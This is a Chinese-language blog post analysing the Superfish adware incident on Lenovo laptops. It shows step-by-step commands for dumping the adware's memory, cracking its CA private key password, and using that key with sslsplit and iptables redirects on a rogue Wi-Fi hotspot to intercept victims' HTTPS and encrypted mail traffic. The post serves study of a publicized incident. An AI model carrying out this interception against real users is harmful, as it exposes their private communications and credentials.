我從Superfish事件中學到的
0x00 前言 & superfish事件
Superfish這個事件,國內外報導的都很多,不過我個人感覺國內對漏洞事件的敏感度挺高,都是搶先第一個翻譯報導,但是很少看到細節分析。國外的研究者在自己的部落格有一些分析,我提取出來和大家分享學習,有理解不對的地方還希望指正。
聯想筆記本使用者從去年年中開始在官方論壇上報告他們的電腦預裝了廣告軟體Superfish,Superfish會在使用者電腦上安裝自簽名證書,劫持使用者瀏覽的HTTPS/HTTP網頁,劫持搜尋結果,在Google搜尋頁面及其它網站上注入廣告。聯想客服代表Mark Hopkins證實Superfish是該公司預裝在電腦中的,使用者投訴之後他們已從系統中將該軟體臨時移除,這次事件給聯想公司帶來一連串公關災難,聯想宣佈到Windows 10釋出時,上市的聯想電腦將會執行純淨的作業系統,不再捆綁第三方的臃腫軟體(bloatware),同時向受Superfish影響的客戶提供6個月的McAfee LiveSafe安全軟體服務,並提供移除工具(https://github.com/lenovo-inc/superfishremoval)。
0x01 superfish軟體對使用者上網的影響
Superfish軟體在安裝的時候預設會把檔案釋放到 C:\Program Files\Lenovo\VisualDiscovery,然後執行下面命令
run.exe 30000 VisualDiscovery.exe /Auto /Service
run.exe 30000 C:\WINDOWS\system32\sc.exe start VisualDiscovery
run.exe 30000 VDWFPInstaller.exe install
superfish基於Komodia的引擎,他會註冊服務,並且安裝驅動,這些驅動檔案也都有自己的簽名,不過已經過期了。安裝目錄有個VDWFP.pdb檔案,是使用WFP(Windows Filtering Platform)實現連線重定向的,也會在登錄檔新增HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VDWFP項,包括要劫持的應用程式列表,不劫持的IP地址,劫持埠等資訊。還會開放23154,23156,23160埠實現代理,方便中間人攻擊。SuperfishCert.dll檔案的作用是安裝惡意證書到應用程式,VisualDiscovery.exe使用OpenSSL的靜態連結檔案,包含公共金鑰是私有金鑰,但是我逆向基礎差,沒有從這裡看到,而是透過dump出的記憶體找到的,下一節會有介紹。
此時你在訪問HTTPS網站的時候,瀏覽器裡顯示的SSL證書的頒發頒發機構(CA)會是superfish,而不是常見的VeriSign,如圖:
Superfish的目的是在使用者電腦上安裝自簽名證書,劫持使用者瀏覽的HTTPS/HTTP網頁,插入廣告。從上可以知道superfish本身也是認證機構(CA),如果我們能夠得到CA的私鑰, 自簽名證書,還能做更多有意思的事情。
0x02 提取CA私鑰
首先使用procdump工具dump出VisualDiscovery.exe程式的記憶體資訊
procdump -ma VisualDiscovery.exe super.dmp
然後使用strings小工具提取super.dmp 中的字串,如圖
Strings.exe super.dmp > stringsuper.txt
在stringsuper.txt檔案中搜尋"PRIVATE KEY",可以看到證書資訊,把相關資訊COPY出來(https://github.com/robertdavidgraham/pemcrack/blob/master/test.pem),然後用openssl匯入證書和金鑰,確提示輸入密碼
老外有放出來一個單執行緒的破解工具(https://github.com/robertdavidgraham/pemcrack),還是使用stringsuper.txt裡的單詞當字典進行破解
提取字典
#!bash
grep "^[a-z]*$" stringsuper.txt | sort | uniq > super.dict
編譯工具,破解
得到密碼是komodia
0x03 作惡
得到認證機構(CA)的私鑰後,任何人都可以以該機構的身份頒發證書了。比如利用superfish的CA私鑰給惡意軟體做簽名逃避主動防禦和防毒,mcafee已經發現有真實的網際網路攻擊了(https://blogs.mcafee.com/mcafee-labs/superfish-root-certificate-used-sign-malware)
其他的攻擊利用場景:受害者機器已經安裝了superfish軟體,在一個不可信的網路內(比如共享WIFI),自己的上網流量可以被重定向(比如攻擊者透過ARP/修改受害者機器閘道器/修改受害者機器的DNS配置等方法);攻擊者的平臺使用的是KALI,使用hostapd做了一個無線熱點,然後用sslsplit(https://github.com/droe/sslsplit)做中間人劫持,sslsplit比mitmproxy好的地方是,他還能支援其他基於TLS/SSL的流量,比如像FTPS,SMTP OVER SSL,IMAP OVER SSL等,操作步驟如下:
匯出證書和私鑰
#!bash
[email protected]:~# openssl rsa -in test.pem -out ca.key
[email protected]:~#cat ca.cer
-----BEGIN CERTIFICATE-----
MIIC9TCCAl6gAwIBAgIJANL8E4epRNznMA0GCSqGSIb3DQEBBQUAMFsxGDAWBgNV
BAoTD1N1cGVyZmlzaCwgSW5jLjELMAkGA1UEBxMCU0YxCzAJBgNVBAgTAkNBMQsw
CQYDVQQGEwJVUzEYMBYGA1UEAxMPU3VwZXJmaXNoLCBJbmMuMB4XDTE0MDUxMjE2
MjUyNloXDTM0MDUwNzE2MjUyNlowWzEYMBYGA1UEChMPU3VwZXJmaXNoLCBJbmMu
MQswCQYDVQQHEwJTRjELMAkGA1UECBMCQ0ExCzAJBgNVBAYTAlVTMRgwFgYDVQQD
Ew9TdXBlcmZpc2gsIEluYy4wgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAOjz
Shh2Xxk/sc9Y6X9DBwmVgDXFD/5xMSeBmRImIKXfj2r8QlU57gk4idngNsSsAYJb
1Tnm+Y8HiN/+7vahFM6pdEXY/fAXVyqC4XouEpNarIrXFWPRt5tVgA9YvBxJ7SBi
3bZMpTrrHD2g/3pxptMQeDOuS8Ic/ZJKocPnQaQtAgMBAAGjgcAwgb0wDAYDVR0T
BAUwAwEB/zAdBgNVHQ4EFgQU+5izU38URC7o7tUJml4OVoaoNYgwgY0GA1UdIwSB
hTCBgoAU+5izU38URC7o7tUJml4OVoaoNYihX6RdMFsxGDAWBgNVBAoTD1N1cGVy
ZmlzaCwgSW5jLjELMAkGA1UEBxMCU0YxCzAJBgNVBAgTAkNBMQswCQYDVQQGEwJV
UzEYMBYGA1UEAxMPU3VwZXJmaXNoLCBJbmMuggkA0vwTh6lE3OcwDQYJKoZIhvcN
AQEFBQADgYEApHyg7ApKx3DEcWjzOyLi3JyN0JL+c35yK1VEmxu0Qusfr76645Oj
1IsYwpTws6a9ZTRMzST4GQvFFQra81eLqYbPbMPuhC+FCxkUF5i0DNSWi+kczJXJ
TtCqSwGl9t9JEoFqvtW+znZ9TqyLiOMw7TGEUI+88VAqW0qmXnwPcfo=
-----END CERTIFICATE-----
在kali上安裝sslsplit
#!bash
[email protected]:~# git clone https://github.com/droe/sslsplit
[email protected]:~# cd sslsplit/
[email protected]:~/sslsplit# make -j 10
[email protected]:~/sslsplit# make install
SSLsplit會監聽2個埠,8080(用於非SSL連線),8443(用於SSL連線),為了能夠透過這2埠轉發流量到受害者的機器,還需要用iptables做下埠重定向。
#!bash
[email protected]:~# sysctl -w net.ipv4.ip_forward=1
[email protected]:~# iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
[email protected]:~# iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
[email protected]:~# iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
[email protected]:~# iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443
[email protected]:~# iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443
[email protected]:~# iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443
然後攻擊者執行
#!bash
[email protected]:~# sslsplit -D -l connections.log -S /var/log/sslsplit -k ca.key -c ca.cer ssl 0.0.0.0 8443
這樣受害者再訪問有HTTPS的網站時,所有會話資訊會儲存到/var/log/sslsplit。
這個思路也有被用在bkpctf中 (http://mweissbacher.com/blog/2015/03/01/boston-key-party-2015-kendall-challenge-superfish/)
0x04 參考
<<圖解密碼技術>>
http://blog.kaspersky.com/lenovo-pc-with-adware-superfish-preinstalled/
http://www.0xebfe.net/blog/2015/02/20/the-analysis-of-superfish-adware/
http://blog.erratasec.com/2015/02/extracting-superfish-certificate.html
http://blog.erratasec.com/2015/02/exploiting-superfish-certificate.html
http://kinozoa.com/blog/exploiting-superfish-subterfuge/
http://blog.trendmicro.com/trendlabs-security-intelligence/extended-validation-certificates-warning-against-mitm-attacks/
相關文章
- 我從程式設計面試中學到的2018-09-24程式設計面試
- 我從Typora中學到的Clipboard妙用.md2021-11-18
- 從B站的程式碼洩露事件中,我們能學到些什麼?2019-04-23事件
- 我從Typoro中學到的Clipboard妙用(二).md2021-11-25
- 我從其他人的Shell指令碼中學到的2013-08-20指令碼
- 我們能從Pokémon GO中學到什麼2016-07-27Go
- [譯] 從 Cron 到 Airflow 的遷移中我們學到了什麼2019-03-01AI
- [譯] 我們能從 Redux 原始碼中學到什麼?2018-03-22Redux原始碼
- 從學生到遊戲開發者: 我學到的五件事2016-04-05遊戲開發
- 30 天的 Github 挑戰,我從中學到的 5 個經驗2015-03-30Github
- 從SDWebImage原始碼中學到的2017-04-24Web原始碼
- 【肥朝】從JDK中,我們能學到哪些設計模式?2019-05-13JDK設計模式
- 我從Icon程式語言中所學到的2013-06-27
- 我從吳恩達AI For Everyone中學到的10個重要AI觀2020-06-17吳恩達AI
- 即將推出的 chrome 95 新特性❗ 從中我們能學到什麼❓2021-10-11Chrome
- 從給我的第一個客戶做開發中學到的東西2011-05-29
- 我從 4 年網頁監控中所學到的2016-02-12網頁
- 我從HTML的meta中學到了什麼2019-02-16HTML
- 從錯誤中汲取經驗 - 我們在打造Buffer的過程中所學到的2015-07-29
- 從錯誤中汲取經驗 – 我們在打造Buffer的過程中所學到的2015-07-29
- 我們能從霓虹國的AI+新藥開發中學到什麼?2018-11-14AI
- 從Spring中學到的【2】--容器類2022-12-29Spring
- 從教女友寫程式碼中學到的2013-08-29
- 從“化學家”到開發者,從甲骨文到TDengine,我人生的兩次重要抉擇2022-06-10
- 從 Dropdown 的 React 實現中學習到的2018-10-08React
- 我從程式設計寫軟體學到的 7 件事2017-10-12程式設計
- 我們從雲端計算中領悟到的10件事2015-04-18
- 我們能從庫克身上學到的幾條領導理念2014-09-16
- 「讀懂原始碼系列2」我從 lodash 原始碼中學到的幾個知識點2019-03-17原始碼
- 因特網的坑:我從編寫X翼戰機VS鈦戰機遊戲中學到的2014-03-29遊戲
- 從DoorDash安卓應用中學到的8個技巧2022-02-04安卓
- 從為IBM招聘實習生中學到的經驗2010-10-13IBM
- 我從 fabric.js 中學到了什麼2019-05-01JS
- 從 Aspects 原始碼中我學到了什麼?2018-01-18原始碼
- 從入門到放棄 - 事件溯源2021-08-16事件
- Python學習從入門到放棄?我不允許!!!2021-04-26Python
- 從張鑫旭的demo中,我學到了影像拉伸的原理2023-05-01
- 從程式設計中學到的 6 個生活習慣2014-03-08程式設計